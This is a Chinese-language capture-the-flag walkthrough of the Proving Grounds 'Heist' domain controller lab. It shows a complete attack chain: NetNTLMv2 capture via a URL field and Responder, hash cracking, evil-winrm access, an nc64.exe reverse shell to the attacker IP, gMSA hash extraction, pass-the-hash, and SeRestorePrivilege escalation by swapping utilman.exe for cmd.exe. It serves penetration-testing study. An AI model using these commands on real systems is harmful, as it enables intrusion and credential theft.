Proving Grounds Practice : Heist Walkthrough

 Proving Grounds Practice : Heist Walkthrough

Foothole (立足點 ) :

  • Rustscan 後發現是一台 DC,8080 網頁打開是一個可以輸入網址的視窗,標準就是想到 SMB 存取讀取 NetNTLMv2 HASH
  • Responder 開啟嘗試後沒有看到任何認證,後來改用 http://<攻擊機IP> 成功讀取到 NetNTLMv2 HASH
  • 破解 HASH 後得到帳號密碼,可以透過 evil-winrm 拿到 shell

PE ( 提權 ) :

  • 跑 SharpHound & BloodHount 後發現現有使用者隸屬 web admin 群組且可以讀取 gMSA 帳號的密碼
  • 透過 GMSAPasswordReader.exe 成功讀取到 svc_apache$ 帳號的 HASH
  • 使用 PtH 一樣走 evil-winrm 登入後發現 SeRestorePrivilege(Enable)
  • 依據 PoC 的方式用 cmd.exe 替換掉 Utilman.exe,然後透過 RDP 的前景方式呼叫 Utilman.exe 成功提權

注意事項 : 

  • Responder 固然是讀取 NetNTLMv2 HASH 的 Listen,但不是僅有 SMB 的存取方式才會送出,HTTP 也會送出要注意
  • 有帳號密碼但無法用 impacket-psexec 拿到 shell 時可以考慮改 evil-winrm 拿 shell
  • 學習知道有 gMSA 的密碼獲取程式 GMSAPasswordReader.exe
  • Whoami /priv 發現 SeRestorePrivilege(Enable) 可以採用替換 Utilman.exe 的方式提權成功


Kali IP : 192.168.45.167

靶機 IP : 192.168.167.165


第一步掃 Port,└─$ rustscan -a 192.168.167.165 --scripts none --ulimit 5000 | tee rustscan



snmp filtered 沒戲,└─$ sudo nmap -sU -p 161 192.168.167.165 | tee snmp



nmap,└─$ sudo nmap -sCV -A -Pn -p 53,88,135,139,389,445,464,593,3268,3269,3389,5985,8080,9389,49667,49666,49673,49674,49677,49703,49759 192.168.167.165 | tee nmap

有開 53 DNS、88 Kerbers、3268/3269 LDAP/s 看來是一台 DC
8080 Werkzeug httpd 2.0.1 (Python 3.9.0)


enum4linux without credential 沒戲,└─$ enum4linux -a 192.168.167.165 | tee enum4linux



LDAP nmap,└─$ sudo nmap --script "ldap* and not brute" 192.168.167.165 -p 389 -v -Pn -sT

網域資訊 : DC=heist,DC=offsec

Hostname : dc01



枚舉物件試試看,└─$ ldapsearch -v -x -b "DC=heist,DC=offsec" -H "ldap://192.168.167.165" "(objectclass=*)"

甚麼都看不到


whatweb 8080,└─$ whatweb http://192.168.167.165:8080 | tee whatweb



8080 /

有個欄位可以讓你輸入 URL



8080 /robots.txt



gobuster 看看,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.167.165:8080 -c -t 150 -x txt,pdf,git,aspx | tee gobuster

沒有列舉到相關路徑



8080 / 輸入 kali IP 試試看,http://192.168.45.167



Responder 收到帳號 enox 的 NetNTLMv2 驗證了



hashcat 破解後獲得一組帳號密碼 enox:california



crackmapexec 測試一下帳號密碼沒問題,但不是管理者



impacket-psexec 進不去沒有權限寫入 SYSVOL

impacket-psexec enox:california@192.168.167.165

改用 evil-winrm 進去了

evil-winrm -i 192.168.167.165 -u enox -p california



上傳 nc64.exe,upload nc64.exe 然後建立連線 .\nc64.exe 192.168.45.167 4444 -e C:\windows\system32\cmd.exe



4444 連線進來了,原本的 evil-winrm 可以棄用了



開始 PE,whoami /priv



跑完 Sharphound 後啟動 BloodHound 查看

發現 Web Admin 可以讀取 gMSA Password 去獲取  SVC_APACHE 的密碼



上傳 GMSAPasswordReader.exe

參考 : https://github.com/expl0itabl3/Toolies

執行看看有說明要帶入的參數,上面知道要列舉 svc_apache 這個帳號

所以直接列舉看看 .\GMSAPasswordReader.exe --accountname svc_apache

得到 rc4_hmac : 83AC7FECFBF44780E3AAF5D04DD368A5 (這個就是 NTLM HASH)

共有兩個一個是舊的,一個是當下的

rc4_hmac : 0AFF0D9DFA8B436E6688697B0A47B50C (Current Value)



hashcat 破解,└─$ hashcat -m 1000 svc_apache.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force 

解不出來


解不出來沒關係,有 HASH 就可以利用,一樣 evil-winrm PtH 進去試試看

特別注意這是 gMSA 帳號,最後面有個 $

└─$ evil-winrm -i 192.168.163.165 -u svc_apache$ -H 0aff0d9dfa8b436e6688697b0a47b50c



開始服務帳號列舉 whoami /priv,發現 SeRestorePrivilege Enabled



參考這一篇 https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens#serestoreprivilege

有關 SeRestorePrivilege 寫到提權的步驟

3. Rename utilman.exe to utilman.old --> 將 utilman.exe 重新命名 4. Rename cmd.exe to utilman.exe --> 將 cmd.exe 做一個當作 utilman.exe 5. Lock the console and press Win+U --> 在 Windows 鎖定頁面輸入 Win+U



先切換到 C:\windows\system32 目錄底下執行 utilman.exe 重新命名

ren utilman.exe utilman.old"

再執行

“copy cmd.exe utilman.exe”結果 GG 不能偷吃步

造著 PoC 寫的一樣用 rename

  "ren cmd.exe utilman.exe"


rdesktop 192.168.167.165

然後輸入 Win+U 叫出 utilman.exe,因為已經被 cmd.exe 取代了

所以直接出現 command 視窗,whoami 看一下是管理者了,結束這回合




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)